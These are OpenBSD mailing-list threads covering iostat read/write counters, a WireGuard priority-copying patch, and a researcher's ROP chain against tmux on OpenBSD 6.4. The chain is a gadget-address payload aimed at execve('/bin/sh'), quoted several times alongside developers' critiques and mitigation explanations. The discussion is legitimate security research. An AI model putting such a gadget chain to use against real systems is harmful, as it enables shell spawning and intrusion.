OpenBSD disk I/O read and write

[Alessandro Baggi]

Hi list,
I'm trying to read I/O read and write value. Currently I'm using iostat 
but I can't understand if the speed in MB/s is relative to write or read 
ops. There is a way to get these 2 values separately?


Thank you in advance.

Alessandro.

Re: OpenBSD disk I/O read and write

[Stuart Henderson]

On 2023-09-21, Alessandro Baggi  wrote:
> Hi list,
> I'm trying to read I/O read and write value. Currently I'm using iostat 
> but I can't understand if the speed in MB/s is relative to write or read 
> ops.

In+out combined.

> There is a way to get these 2 values separately?

systat io, or it's simple to modify iostat to print cur.dk_rbytes[dn]
and/or cur.dk_wbytes[dn] instead of the current combined value.


-- 
Please keep replies on the mailing list.

Re: OpenBSD disk I/O read and write

[Alessandro Baggi]

Il 21/09/23 13:47, Stuart Henderson ha scritto:

On 2023-09-21, Alessandro Baggi  wrote:

Hi list,
I'm trying to read I/O read and write value. Currently I'm using iostat
but I can't understand if the speed in MB/s is relative to write or read
ops.


In+out combined.


There is a way to get these 2 values separately?


systat io, or it's simple to modify iostat to print cur.dk_rbytes[dn]
and/or cur.dk_wbytes[dn] instead of the current combined value.




Hi and thank you for your answer

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Theo de Raadt]

There is no comprehensive & final solution for RET polymorphism due
to variable-sized instruction architecture, and the only solution is
to move to fixed-sized architectures where all RETs can be protected
and ROP-free therefore becomes possible.

The best we can do is reduce it.

The ability to reach execve() is being constrained more and more using
privsep, pledge where possible, unveil if we can, forcing people to use
the execve stub in libc (which is at a per-boot random location), and
further efforts (coming soon) which will hurt calling generic syscall or
the use of syscall instructions inside other syscall stubs.

Each thing increases the effort to reach exploitation.

I do not understand the sample you gave, it is impossible to visualize
the approach being taken -- you have not shown how you are finding the
syscall instruction.  Also note that it must be *THE SYSCALL* instruction
for execve, in per-boot-randomly-linked aslr-placed libc.so.  So you have
determined this online?

Finally, I believe the phrase "exploit" truly requires a priviledge
escalation or gain of other capability.  What did you gain?  I believe
you gain nothing from this demonstrator.

Nan ZoE  wrote:

> Hello,
> 
> 
> 
> I have read your paper regarding the ROP mitigation mechanism (Removing ROP
> Gadgets from OpenBSD), and I find the defense against ROP quite ingenious.
> The paper introduces the bytecode for 'ret' as '\xc3,' and its association
> with the use of the 'rbx' register was a surprising revelation.
> Subsequently, you adjusted the prioritization of the 'rbx' register during
> compilation, effectively filtering out a significant number of 'ret'-ending
> gadgets. This especially removed many misaligned 'ret'-ending gadgets, and
> this technique has been applied to openbsd-63, 64, and 65. While the number
> of 'ret'-ending gadgets has been significantly reduced, there are still
> numerous 'call'-ending gadgets in the program. Security researchers can
> still employ many 'call'-ending gadgets to carry out ROP attacks. Even in
> programs of only a few hundred kilobytes, I have found that we can still
> invoke the execve("/bin/sh", 0, 0) function using only the available
> gadgets in the program, albeit it may require a combination of multiple
> gadgets and some effort to achieve. I am curious if there are any further
> ROP mitigation measures to address this issue? Additionally, I have
> provided an ROP attack example targeting the tmux program in OpenBSD-64, as
> shown below.
> 
> 
> 
> payload = p64(0x4017ce)
> 
> #0x004017ce: pop r13; pop r14; pop r15; ret;
> 
> payload += p64(0x68732f6e69622f)+p64(0x0)+p64(0x0)+p64(0x40125d)
> 
> # 0x0040125d: pop rbp; ret;
> 
> payload += p64(0x4017d1)+p64(0x403dd3)
> 
> # 0x00403dd3: xchg eax, ebp; ret;
> 
> payload += p64(0x412208)
> 
> # 0x00412208: mov rcx, r13; call rax;
> 
> payload += b''
> 
> # 0x004017d1: pop rsi; pop r15; ret;
> 
> payload += p64(0x0)+p64(0x40125d)
> 
> # 0x0040125d: pop rbp; ret;
> 
> payload += p64(0x40125d)+p64(0x403dd3)
> 
> # 0x00403dd3: xchg eax, ebp; ret;
> 
> payload += p64(0x427a31)
> 
> # 0x00427a31: pop rbx; pop rbp; jmp rax;
> 
> payload += p64(0x49e0ed)+p64(0x0)
> 
> # 0x0040125d: pop rbp; ret;
> 
> payload += p64(0x4017d1)+p64(0x403dd3)
> 
> # 0x00403dd3: xchg eax, ebp; ret;
> 
> payload += p64(0x412053)
> 
> # 0x00412053: mov r8, rbx; call rax;
> 
> payload += b''
> 
> # 0x004017d1: pop rsi; pop r15; ret;
> 
> payload += p64(0x0)+p64(0x4551d9)
> 
> # 0x004551d9: add qword ptr [r8 - 0x7d], rcx; ret;
> 
> payload += p64(0x4017d3)
> 
> # 0x004017d3: pop rdi; ret;
> 
> payload += p64(0x49e070)+p64(0x40d571)
> 
> # 0x0040d571: pop rsi; ret;
> 
> payload += p64(0x0)+p64(0x4017cf)
> 
> # 0x004017cf: pop rbp; pop r14; pop r15; ret;
> 
> payload += p64(0x0)+p64(0x4017d0)+p64(0x0)+p64(0x40125d)
> 
> # 0x0040125d: pop rbp; ret;
> 
> payload += p64(0x49e1d0)+p64(0x42d80b)
> 
> # 0x0042d80b: mov rdx, r15; mov rcx, qword ptr [rbp - 0x40]; mov
> rax, r14; call rax;
> 
> payload += b''
> 
> # 0x004017d0: pop r14; pop r15; ret;
> 
> payload += p64(0x0)+p64(0x40125d)
> 
> # 0x0040125d: pop rbp; ret;
> 
> payload += p64(0x3b)+p64(0x403dd3)
> 
> # 0x00403dd3: xchg eax, ebp; ret;
> 
> payload += p64(0x407fae)
> 
> # 0x00407fae: syscall;
> 
> payload += b''
> 
> 
> 
> Best regards,
> 
> ZoE
> 
> 2023.09.21

Re: OpenBSD Wireguard implementation not copying ToS from inner to outer WG header

[David Gwynne]

On Mon, Sep 18, 2023 at 12:47:52PM -, Stuart Henderson wrote:
> On 2023-09-17, Andrew Lemin  wrote:
> > I have been testing the Wireguard implementation on OpenBSD and noticed
> > that the ToS field is not being copied from the inner unencrypted header to
> > the outer Wireguard header, resulting in ALL packets going into the same PF
> > Prio / Queue.
> >
> > For example, ACKs (for Wireguard encrypted packets) end up in the first
> > queue (not the priority queue) despite PF rules;
> >
> > queue ext_iface on $extif bandwidth 1000M max 1000M
> >   queue pri on $extif parent ext_iface flows 1000 bandwidth 25M min 5M
> >   queue data on $extif parent ext_iface flows 1000 bandwidth 100M default
> >
> > match on $extif proto tcp set prio (3, 6) set queue (data, pri)
> >
> > All unencrypted SYNs and ACKs etc correctly go into the 'pri' queue, and
> > payload packets go into 'data' queue.
> > However for Wireguard encrypted packets, _all_ packets (including SYNs and
> > ACKs) go into the 'data' queue.
> >
> > I thought maybe you need to force the ToS/prio/queue values, so I also
> > tried sledgehammer approach;
> > match proto tcp flags A/A set tos lowdelay set prio 7 set queue pri
> > match proto tcp flags S/S set tos lowdelay set prio 7 set queue pri
> >
> > But sadly all encrypted SYNs and ACKs etc still only go into the data queue
> > no matter what.
> > This can be confirmed with wireshark that all ToS bits are lost
> >
> > This results in poor Wireguard performance on OpenBSD.
> 
> Here's a naive untested diff that might at least use the prio internally
> in OpenBSD...
> 
> Index: if_wg.c
> ===
> RCS file: /cvs/src/sys/net/if_wg.c,v
> retrieving revision 1.29
> diff -u -p -r1.29 if_wg.c
> --- if_wg.c   3 Aug 2023 09:49:08 -   1.29
> +++ if_wg.c   18 Sep 2023 12:47:02 -
> @@ -1525,6 +1525,8 @@ wg_encap(struct wg_softc *sc, struct mbu
>*/
>   mc->m_pkthdr.ph_flowid = m->m_pkthdr.ph_flowid;
>  
> + mc->m_pkthdr.pf.prio = m->m_pkthdr.pf.prio;
> +
>   res = noise_remote_encrypt(&peer->p_remote, &data->r_idx, &nonce,
>  data->buf, plaintext_len);
>   nonce = htole64(nonce); /* Wire format is little endian. */
> 
> 

i think this should go in, ok by me.

implementing txprio and rxprio might be useful too, but requires more
plumbing than i have the energy for now.

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[fro]

Why are you targeting 6.4? That was released in 2018. So, that's 5 years and 9 
releases since then and another one is happening soon.
 
 
 

Sent: Thursday, September 21, 2023 at 8:50 AM
From: "Nan ZoE" 
To: misc@openbsd.org
Subject: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets
Hello,



I have read your paper regarding the ROP mitigation mechanism (Removing ROP
Gadgets from OpenBSD), and I find the defense against ROP quite ingenious.
The paper introduces the bytecode for 'ret' as '\xc3,' and its association
with the use of the 'rbx' register was a surprising revelation.
Subsequently, you adjusted the prioritization of the 'rbx' register during
compilation, effectively filtering out a significant number of 'ret'-ending
gadgets. This especially removed many misaligned 'ret'-ending gadgets, and
this technique has been applied to openbsd-63, 64, and 65. While the number
of 'ret'-ending gadgets has been significantly reduced, there are still
numerous 'call'-ending gadgets in the program. Security researchers can
still employ many 'call'-ending gadgets to carry out ROP attacks. Even in
programs of only a few hundred kilobytes, I have found that we can still
invoke the execve("/bin/sh", 0, 0) function using only the available
gadgets in the program, albeit it may require a combination of multiple
gadgets and some effort to achieve. I am curious if there are any further
ROP mitigation measures to address this issue? Additionally, I have
provided an ROP attack example targeting the tmux program in OpenBSD-64, as
shown below.



payload = p64(0x4017ce)

#0x004017ce: pop r13; pop r14; pop r15; ret;

payload += p64(0x68732f6e69622f)+p64(0x0)+p64(0x0)+p64(0x40125d)

# 0x0040125d: pop rbp; ret;

payload += p64(0x4017d1)+p64(0x403dd3)

# 0x00403dd3: xchg eax, ebp; ret;

payload += p64(0x412208)

# 0x00412208: mov rcx, r13; call rax;

payload += b''

# 0x004017d1: pop rsi; pop r15; ret;

payload += p64(0x0)+p64(0x40125d)

# 0x0040125d: pop rbp; ret;

payload += p64(0x40125d)+p64(0x403dd3)

# 0x00403dd3: xchg eax, ebp; ret;

payload += p64(0x427a31)

# 0x00427a31: pop rbx; pop rbp; jmp rax;

payload += p64(0x49e0ed)+p64(0x0)

# 0x0040125d: pop rbp; ret;

payload += p64(0x4017d1)+p64(0x403dd3)

# 0x00403dd3: xchg eax, ebp; ret;

payload += p64(0x412053)

# 0x00412053: mov r8, rbx; call rax;

payload += b''

# 0x004017d1: pop rsi; pop r15; ret;

payload += p64(0x0)+p64(0x4551d9)

# 0x004551d9: add qword ptr [r8 - 0x7d], rcx; ret;

payload += p64(0x4017d3)

# 0x004017d3: pop rdi; ret;

payload += p64(0x49e070)+p64(0x40d571)

# 0x0040d571: pop rsi; ret;

payload += p64(0x0)+p64(0x4017cf)

# 0x004017cf: pop rbp; pop r14; pop r15; ret;

payload += p64(0x0)+p64(0x4017d0)+p64(0x0)+p64(0x40125d)

# 0x0040125d: pop rbp; ret;

payload += p64(0x49e1d0)+p64(0x42d80b)

# 0x0042d80b: mov rdx, r15; mov rcx, qword ptr [rbp - 0x40]; mov
rax, r14; call rax;

payload += b''

# 0x004017d0: pop r14; pop r15; ret;

payload += p64(0x0)+p64(0x40125d)

# 0x0040125d: pop rbp; ret;

payload += p64(0x3b)+p64(0x403dd3)

# 0x00403dd3: xchg eax, ebp; ret;

payload += p64(0x407fae)

# 0x00407fae: syscall;

payload += b''



Best regards,

ZoE

2023.09.21

Re: OpenBSD Wireguard implementation not copying ToS from inner to outer WG header

[Andrew Lemin]

On Fri, Sep 22, 2023 at 12:27 PM David Gwynne  wrote:

> On Mon, Sep 18, 2023 at 12:47:52PM -, Stuart Henderson wrote:
> > On 2023-09-17, Andrew Lemin  wrote:
> > > I have been testing the Wireguard implementation on OpenBSD and noticed
> > > that the ToS field is not being copied from the inner unencrypted
> header to
> > > the outer Wireguard header, resulting in ALL packets going into the
> same PF
> > > Prio / Queue.
> > >
> > > For example, ACKs (for Wireguard encrypted packets) end up in the first
> > > queue (not the priority queue) despite PF rules;
> > >
> > > queue ext_iface on $extif bandwidth 1000M max 1000M
> > >   queue pri on $extif parent ext_iface flows 1000 bandwidth 25M min 5M
> > >   queue data on $extif parent ext_iface flows 1000 bandwidth 100M
> default
> > >
> > > match on $extif proto tcp set prio (3, 6) set queue (data, pri)
> > >
> > > All unencrypted SYNs and ACKs etc correctly go into the 'pri' queue,
> and
> > > payload packets go into 'data' queue.
> > > However for Wireguard encrypted packets, _all_ packets (including SYNs
> and
> > > ACKs) go into the 'data' queue.
> > >
> > > I thought maybe you need to force the ToS/prio/queue values, so I also
> > > tried sledgehammer approach;
> > > match proto tcp flags A/A set tos lowdelay set prio 7 set queue pri
> > > match proto tcp flags S/S set tos lowdelay set prio 7 set queue pri
> > >
> > > But sadly all encrypted SYNs and ACKs etc still only go into the data
> queue
> > > no matter what.
> > > This can be confirmed with wireshark that all ToS bits are lost
> > >
> > > This results in poor Wireguard performance on OpenBSD.
> >
> > Here's a naive untested diff that might at least use the prio internally
> > in OpenBSD...
> >
> > Index: if_wg.c
> > ===
> > RCS file: /cvs/src/sys/net/if_wg.c,v
> > retrieving revision 1.29
> > diff -u -p -r1.29 if_wg.c
> > --- if_wg.c   3 Aug 2023 09:49:08 -   1.29
> > +++ if_wg.c   18 Sep 2023 12:47:02 -
> > @@ -1525,6 +1525,8 @@ wg_encap(struct wg_softc *sc, struct mbu
> >*/
> >   mc->m_pkthdr.ph_flowid = m->m_pkthdr.ph_flowid;
> >
> > + mc->m_pkthdr.pf.prio = m->m_pkthdr.pf.prio;
> > +
> >   res = noise_remote_encrypt(&peer->p_remote, &data->r_idx, &nonce,
> >  data->buf, plaintext_len);
> >   nonce = htole64(nonce); /* Wire format is little endian. */
> >
> >
>
> i think this should go in, ok by me.
>
> implementing txprio and rxprio might be useful too, but requires more
> plumbing than i have the energy for now.
>

Hi David,
Just to make sure I understand currently, you mean also copying the
priority to/from txprio/rxprio for the VLAN/CoS priorities?

Thanks. I plan to test Stuart's patch this weekend and will confirm here,
but I'm confident it will work first time knowing him :)

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Nan ZoE]

Because, as far as I understand, these ROP mitigation mechanisms seem to
have been updated only in the three versions of OpenBSD, namely 6.3 to 6.5
. Of course, I have also studied some
programs under OpenBSD 6.5, and many of them still seem to have the
potential to be bypassed.

 于2023年9月22日周五 12:02写道：

> Why are you targeting 6.4? That was released in 2018. So, that's 5 years
> and 9 releases since then and another one is happening soon.
>
>
>
>
> Sent: Thursday, September 21, 2023 at 8:50 AM
> From: "Nan ZoE" 
> To: misc@openbsd.org
> Subject: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets
> Hello,
>
>
>
> I have read your paper regarding the ROP mitigation mechanism (Removing ROP
> Gadgets from OpenBSD), and I find the defense against ROP quite ingenious.
> The paper introduces the bytecode for 'ret' as '\xc3,' and its association
> with the use of the 'rbx' register was a surprising revelation.
> Subsequently, you adjusted the prioritization of the 'rbx' register during
> compilation, effectively filtering out a significant number of 'ret'-ending
> gadgets. This especially removed many misaligned 'ret'-ending gadgets, and
> this technique has been applied to openbsd-63, 64, and 65. While the number
> of 'ret'-ending gadgets has been significantly reduced, there are still
> numerous 'call'-ending gadgets in the program. Security researchers can
> still employ many 'call'-ending gadgets to carry out ROP attacks. Even in
> programs of only a few hundred kilobytes, I have found that we can still
> invoke the execve("/bin/sh", 0, 0) function using only the available
> gadgets in the program, albeit it may require a combination of multiple
> gadgets and some effort to achieve. I am curious if there are any further
> ROP mitigation measures to address this issue? Additionally, I have
> provided an ROP attack example targeting the tmux program in OpenBSD-64, as
> shown below.
>
>
>
> payload = p64(0x4017ce)
>
> #0x004017ce: pop r13; pop r14; pop r15; ret;
>
> payload += p64(0x68732f6e69622f)+p64(0x0)+p64(0x0)+p64(0x40125d)
>
> # 0x0040125d: pop rbp; ret;
>
> payload += p64(0x4017d1)+p64(0x403dd3)
>
> # 0x00403dd3: xchg eax, ebp; ret;
>
> payload += p64(0x412208)
>
> # 0x00412208: mov rcx, r13; call rax;
>
> payload += b''
>
> # 0x004017d1: pop rsi; pop r15; ret;
>
> payload += p64(0x0)+p64(0x40125d)
>
> # 0x0040125d: pop rbp; ret;
>
> payload += p64(0x40125d)+p64(0x403dd3)
>
> # 0x00403dd3: xchg eax, ebp; ret;
>
> payload += p64(0x427a31)
>
> # 0x00427a31: pop rbx; pop rbp; jmp rax;
>
> payload += p64(0x49e0ed)+p64(0x0)
>
> # 0x0040125d: pop rbp; ret;
>
> payload += p64(0x4017d1)+p64(0x403dd3)
>
> # 0x00403dd3: xchg eax, ebp; ret;
>
> payload += p64(0x412053)
>
> # 0x00412053: mov r8, rbx; call rax;
>
> payload += b''
>
> # 0x004017d1: pop rsi; pop r15; ret;
>
> payload += p64(0x0)+p64(0x4551d9)
>
> # 0x004551d9: add qword ptr [r8 - 0x7d], rcx; ret;
>
> payload += p64(0x4017d3)
>
> # 0x004017d3: pop rdi; ret;
>
> payload += p64(0x49e070)+p64(0x40d571)
>
> # 0x0040d571: pop rsi; ret;
>
> payload += p64(0x0)+p64(0x4017cf)
>
> # 0x004017cf: pop rbp; pop r14; pop r15; ret;
>
> payload += p64(0x0)+p64(0x4017d0)+p64(0x0)+p64(0x40125d)
>
> # 0x0040125d: pop rbp; ret;
>
> payload += p64(0x49e1d0)+p64(0x42d80b)
>
> # 0x0042d80b: mov rdx, r15; mov rcx, qword ptr [rbp - 0x40]; mov
> rax, r14; call rax;
>
> payload += b''
>
> # 0x004017d0: pop r14; pop r15; ret;
>
> payload += p64(0x0)+p64(0x40125d)
>
> # 0x0040125d: pop rbp; ret;
>
> payload += p64(0x3b)+p64(0x403dd3)
>
> # 0x00403dd3: xchg eax, ebp; ret;
>
> payload += p64(0x407fae)
>
> # 0x00407fae: syscall;
>
> payload += b''
>
>
>
> Best regards,
>
> ZoE
>
> 2023.09.21
>

Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets

[Peter N. M. Hansteen]

On Fri, Sep 22, 2023 at 12:50:37PM +0800, Nan ZoE wrote:
> Because, as far as I understand, these ROP mitigation mechanisms seem to
> have been updated only in the three versions of OpenBSD, namely 6.3 to 6.5
> . Of course, I have also studied some
> programs under OpenBSD 6.5, and many of them still seem to have the
> potential to be bypassed.

I would not take the lack of explicit mention on the release page (or for
that matter lack of conference presentations or undeadly.org articles) on
a specific item as proof of absence of activity.

Improvements happen all the time, and changes that are not explicitly marked
as being ROP-related may very well have an effect on the phenomenon anyway.

By focusing on versions that have been unsupported for years you mainly ensure
that the people who could have addressed any issuse you find will not bother.

If you actually want what you find to matter, for your own good please shift
your focus to -current or at least one or both of the still supported releases.

- Peter

-- 
Peter N. M. Hansteen, member of the first RFC 1149 implementation team
https://bsdly.blogspot.com/ https://www.bsdly.net/ https://www.nuug.no/
"Remember to set the evil bit on all malicious network traffic"
delilah spamd[29949]: 85.152.224.147: disconnected after 42673 seconds.